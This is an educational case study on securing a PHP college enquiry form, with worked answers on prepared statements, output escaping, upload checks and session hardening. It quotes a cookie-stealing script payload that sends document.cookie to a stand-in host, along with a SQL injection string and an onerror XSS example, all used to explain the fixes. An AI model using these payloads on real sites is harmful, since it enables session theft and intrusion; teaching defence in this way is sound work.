Maharashtra HSC IT Commerce study materials
Maharashtra HSC IT Commerce study resources

The Enquiry Form That Breaks on an Apostrophe and Echoes Script Tags

Maharashtra HSC IT Commerce · Put your knowledge to work in context.

All case studies

The Enquiry Form That Breaks on an Apostrophe and Echoes Script Tags

An arts college runs a PHP 8.1 enquiry form on shared hosting. The form posts name, email, phone, course and a 600-character message to enquiry.php, which does:

$sql = "INSERT INTO enquiry (name,email,msg) VALUES ('$_POST[name]','$_POST[email]','$_POST[msg]')";
$pdo->query($sql);
echo "Thank you, " . $_POST['name'];

A prospective student with the surname D'Souza got a 500 error. A security audit found that the admin page listing enquiries prints the message column straight into HTML, and one row contains <script>fetch('http://x.tld/?c='+document.cookie)</script>. The admin login calls session_start() with default settings, never regenerates the ID, and the admin password is shared by four staff. Scanned documents are saved to /uploads/ using the original filename, and the host allows .php execution in every directory. upload_max_filesize is 2 MB.

1. Diagnose the 500 error on D'Souza and rewrite the insert safely. Explain why a prepared statement is preferred over `mysqli_real_escape_string`.

Read the worked answer

The surname contains an apostrophe. The variable is interpolated directly into a single-quoted SQL literal, so the statement becomes ... VALUES ('D'Souza', ...). The quote after D closes the string, and the parser hits an unexpected identifier - a syntax error, which PDO reports as an exception, so the page returns 500. There is no bug specific to apostrophes: the same interpolation is the SQL injection vector. If the name field had contained x','y')-- the query would insert attacker-chosen values, and a UNION SELECT in the message field would read other tables.

$stmt = $pdo->prepare(
  'INSERT INTO enquiry (name, email, phone, course, msg) VALUES (?, ?, ?, ?, ?)'
);
$stmt->execute([$name, $email, $phone, $course, $msg]);

With a prepared statement the server parses the SQL first and then binds the values, so D'Souza is data for the whole duration and can never terminate the literal. The apostrophe case and the injection case are fixed by the same change.

Why not mysqli_real_escape_string: it does escape the quote, so it would fix this crash. But it is a string function applied by hand, and safety depends on the developer escaping every parameter, on every code path, with a live connection and the correct charset. Miss one - a numeric ID, a value from $_GET - and the hole is back. Prepared statements move the guarantee into the database driver, so forgetting is not possible. They are also the only sane option when the same statement runs in a loop. Escape functions are a fallback for identifiers, which cannot be bound; they are not the primary defence.

2. The admin listing page prints stored messages directly. Explain why escaping must happen at output, give the corrected code, and say why filtering the input alone does not solve it.

Read the worked answer

The stored row contains a <script> tag. When the admin opens the listing, the browser cannot tell that this text came from a student - it parses it as markup and executes it in the admin's session. That is stored XSS: the payload runs with the admin's cookies, so it can read the session cookie and send it to x.tld, or silently create a new admin user.

Fix at render time:

<td><?= htmlspecialchars($row['msg'], ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8') ?></td>

htmlspecialchars converts &, <, >, " and ' into entities, so the browser displays the characters instead of executing them. ENT_QUOTES covers attribute contexts; ENT_SUBSTITUTE stops a malformed byte sequence from returning an empty string; 'UTF-8' must match the page's charset or the escaping can be bypassed. Also send Content-Security-Policy: default-src 'self' as a second layer.

Why input filtering alone fails: you cannot know at input time where the value will be displayed - inside HTML text, inside a value="" attribute, inside a JS string, inside a CSV export, inside a PDF. Escaping is context-specific, so it belongs at the point of output where the context is known. Blocking <script> on input is a blocklist: <img src=x onerror=alert(1)> needs no script tag, and the filter also mangles legitimate messages. Store the raw text, escape on every output, and validate on input only for format and length (email shape, 600-character cap).

3. Harden the file upload and the admin session. Give concrete changes and explain the risk each one removes.

Read the worked answer

Upload

$allowed = ['pdf' => 'application/pdf', 'jpg' => 'image/jpeg', 'png' => 'image/png'];
$ext = strtolower(pathinfo($_FILES['doc']['name'], PATHINFO_EXTENSION));
$mime = (new finfo(FILEINFO_MIME_TYPE))->file($_FILES['doc']['tmp_name']);
if (!isset($allowed[$ext]) || $allowed[$ext] !== $mime) { exit('Rejected'); }
if ($_FILES['doc']['size'] > 2 * 1024 * 1024) { exit('Too large'); }
$name = bin2hex(random_bytes(16)) . '.' . $ext;
move_uploaded_file($_FILES['doc']['tmp_name'], '/var/uploads/' . $name);

Risks removed: the extension whitelist blocks shell.php and shell.php.jpg (the latter has extension jpg, but the MIME sniff catches a PHP payload). The random name stops an attacker overwriting an existing file and stops the URL from being guessable. The real filename is untrusted and can contain ../. upload_max_filesize also needs a matching MAX_FILE_SIZE and a server-side check - the client-side hint alone is bypassable. Most important: the host executes PHP in every directory, so /uploads/x.php is remote code execution. Either move uploads above the web root and serve them through a PHP script that checks the session, or add a .htaccess/nginx rule that disables the PHP handler in /uploads/.

Session

  1. session_regenerate_id(true) immediately after a successful admin login - removes session fixation, where an attacker plants a known ID and inherits the logged-in session.
  2. Cookie flags before session_start(): session_set_cookie_params(['httponly'=>true,'secure'=>true,'samesite'=>'Strict']) - HttpOnly keeps the cookie out of document.cookie so XSS cannot steal it, Secure stops it travelling over HTTP, SameSite=Strict blocks cross-site POSTs.
  3. Give each of the four staff their own account with password_hash()/password_verify(), plus a login rate limit - a shared password means no accountability and one leak compromises all four.